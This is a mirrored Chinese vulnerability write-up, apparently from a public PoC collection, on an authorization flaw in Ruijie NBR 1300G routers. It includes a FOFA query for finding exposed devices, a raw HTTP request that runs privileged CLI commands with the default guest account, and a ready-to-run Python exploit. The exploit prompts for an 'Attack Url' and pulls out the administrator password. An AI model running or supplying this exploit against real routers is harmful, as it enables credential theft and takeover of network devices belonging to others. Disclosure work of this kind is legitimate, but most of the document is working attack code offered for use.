mirror of
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116 lines
3.8 KiB
Markdown
116 lines
3.8 KiB
Markdown
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# 锐捷 NBR 1300G路由器 越权CLI命令执行漏洞
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## 漏洞描述
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锐捷NBR 1300G路由器 越权CLI命令执行漏洞，guest账户可以越权获取管理员账号密码
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## 漏洞影响
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```
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锐捷NBR路由器
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```
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## FOFA
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```
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title="锐捷网络 --NBR路由器--登录界面"
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```
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## 漏洞复现
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登录页面如下
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查看流量发现 CLI命令流量
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请求包为
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```plain
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POST /WEB_VMS/LEVEL15/ HTTP/1.1
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Host:
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Connection: keep-alive
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Content-Length: 73
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Authorization: Basic
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
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Content-Type: text/plain;charset=UTF-8
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Accept: */*
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
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Cookie: auth=; user=
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x-forwarded-for: 127.0.0.1
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x-originating-ip: 127.0.0.1
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x-remote-ip: 127.0.0.1
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x-remote-addr: 127.0.0.1
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command=show version&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
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```
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测试发现执行其他命令需要权限，查看手册发现存在低权限 guest账户（guest/guest）
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登录后发送请求包，执行CLI命令 **(show webmaster user)** 查看用户配置账号密码
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成功获取所有用户的账号密码
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```plain
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webmaster level 0 username admin password guest
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webmaster level 0 username guest password guest
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```
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: 锐捷NBRNBR1300G 路由器 越权CLI命令执行漏洞 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/WEB_VMS/LEVEL15/"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded",
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"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
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}
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data = 'command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.'
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在执行 show webmaster user \033[0m".format(target_url))
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if "webmaster" in response.text and " password" in response.text and response.status_code == 200:
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user_data = re.findall(r'webmaster level 0 username admin password (.*?)<OPTION>', response.text)[0]
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print("\033[36m[o] 成功获取, 管理员用户账号密码为: admin/{} \033[0m".format(user_data))
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else:
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print("\033[31m[x] 请求失败:{} \033[0m")
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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